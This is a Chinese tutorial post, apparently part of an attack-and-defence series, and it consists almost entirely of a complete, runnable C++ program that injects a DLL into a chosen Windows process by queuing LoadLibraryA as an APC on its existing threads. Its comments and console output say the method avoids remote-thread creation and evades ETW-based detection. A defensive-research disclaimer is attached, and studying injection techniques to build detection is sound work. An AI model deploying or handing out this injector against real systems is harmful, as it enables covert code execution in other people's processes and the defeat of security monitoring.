注入攻防篇04-攻击篇-APC注入不创建新线程

HANDLE hProcess = OpenProcess(
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE,
    dwProcessId
);

SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
    hProcess,
    NULL,
    pathLen,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL);

HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };

Thread32First(hSnapshot, &te32);
do {
    if (te32.th32OwnerProcessID == dwProcessId) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
        if (hThread) {
            QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath);
            CloseHandle(hThread);
        }
    }
} while (Thread32Next(hSnapshot, &te32));

DWORD QueueUserAPC(
    PAPCFUNC pfnAPC,        // 要执行的函数地址
    HANDLE hThread,         // 目标线程句柄
    ULONG_PTR dwData        // 传给函数的参数
);

/**
 * @file 04-1-攻击篇-APC注入.cpp
 * @brief APC 注入示例 - 不创建新线程的注入方式
 * @author UD2
 * @date 2025-01-13
 *
 * @details
 * 本程序演示如何使用 APC (Asynchronous Procedure Call) 注入 DLL
 * 核心思路：
 * 1. 不创建新线程，复用目标进程现有线程
 * 2. 通过 QueueUserAPC 将 LoadLibraryA 加入线程的 APC 队列
 * 3. 当线程进入 Alertable 状态时，系统自动执行 LoadLibraryA
 *
 * 绕过原理：
 * - 不调用 CreateRemoteThread，不触发 NtCreateThreadEx
 * - 内核不产生 ThreadStart 事件
 * - ETW 监听器无法检测到远程线程创建
 *
 * 局限性：
 * - 必须等待线程进入 Alertable 状态 (SleepEx/WaitForSingleObjectEx(..., TRUE))
 * - 执行时机不可控
 *
 * 仅供防御性安全研究与教学使用，严禁用于恶意目的
 */

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

 /**
  * @brief 使用 APC 注入 DLL，不创建新线程
  * @param dwProcessId 目标进程 ID
  * @param dllPath DLL 文件完整路径
  * @return 成功返回 TRUE，失败返回 FALSE
  * @details 通过向目标进程的线程 APC 队列插入 LoadLibrary 调用来加载 DLL
  */
BOOL InjectDllWithAPC(DWORD dwProcessId, const char* dllPath)
{
    // 第一步：打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        dwProcessId
    );
    if (!hProcess)
    {
        std::cout << "打开进程失败，错误码: " << GetLastError() << "n";
        return FALSE;
    }
    std::cout << "成功打开目标进程n";
    // 第二步：在目标进程中分配内存并写入 DLL 路径
    SIZE_T pathLen = strlen(dllPath) + 1;
    LPVOID pRemotePath = VirtualAllocEx(
        hProcess,
        NULL,
        pathLen,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!pRemotePath)
    {
        std::cout << "分配内存失败n";
        CloseHandle(hProcess);
        return FALSE;
    }
    if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL))
    {
        std::cout << "写入 DLL 路径失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "DLL 路径写入地址: 0x" << std::hex << pRemotePath << std::dec << "n";
    // 第三步：获取 LoadLibraryA 函数地址
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
    if (!pLoadLibraryA)
    {
        std::cout << "获取 LoadLibraryA 地址失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "LoadLibraryA 地址: 0x" << std::hex << pLoadLibraryA << std::dec << "n";
    // 第四步：枚举线程并入队 APC
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        std::cout << "创建线程快照失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    BOOL bSuccess = FALSE;
    int apcCount = 0;
    if (!Thread32First(hSnapshot, &te32))
    {
        CloseHandle(hSnapshot);
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "n开始枚举线程并入队 APC...n";
    // 遍历所有线程
    do
    {
        if (te32.th32OwnerProcessID == dwProcessId)
        {
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
            if (hThread)
            {
                if (QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath))
                {
                    std::cout << "  [+] APC 已入队到线程 " << te32.th32ThreadID << "n";
                    apcCount++;
                    bSuccess = TRUE;
                }
                CloseHandle(hThread);
            }
        }
    } while (Thread32Next(hSnapshot, &te32));
    CloseHandle(hSnapshot);
    // 第五步：输出结果
    if (bSuccess)
    {
        std::cout << "n=== APC 注入成功 ===n";
        std::cout << "已向 " << apcCount << " 个线程入队 APCn";
        std::cout << "等待目标线程进入 Alertable 状态...n";
        std::cout << "（线程调用 SleepEx/WaitForSingleObjectEx 等函数时会触发）n";
        std::cout << "n提示：没有创建新线程，ETW 检测器不会报警！n";
    }
    else
    {
        std::cout << "APC 入队失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    CloseHandle(hProcess);
    return TRUE;
}

/**
 * @brief 程序入口
 * @return 程序退出码
 */
int main()
{
    std::cout << "=== APC 注入 - 不创建新线程 ===nn";
    std::cout << "警告：本程序仅供防御性安全研究与教学使用n";
    std::cout << "      严禁用于恶意目的nn";

    DWORD targetPid;
    std::cout << "请输入目标进程 PID: ";
    std::cin >> targetPid;
    const char* dllPath = "C:\Injection.dll";
    InjectDllWithAPC(targetPid, dllPath);

    system("pause");
    return 0;
}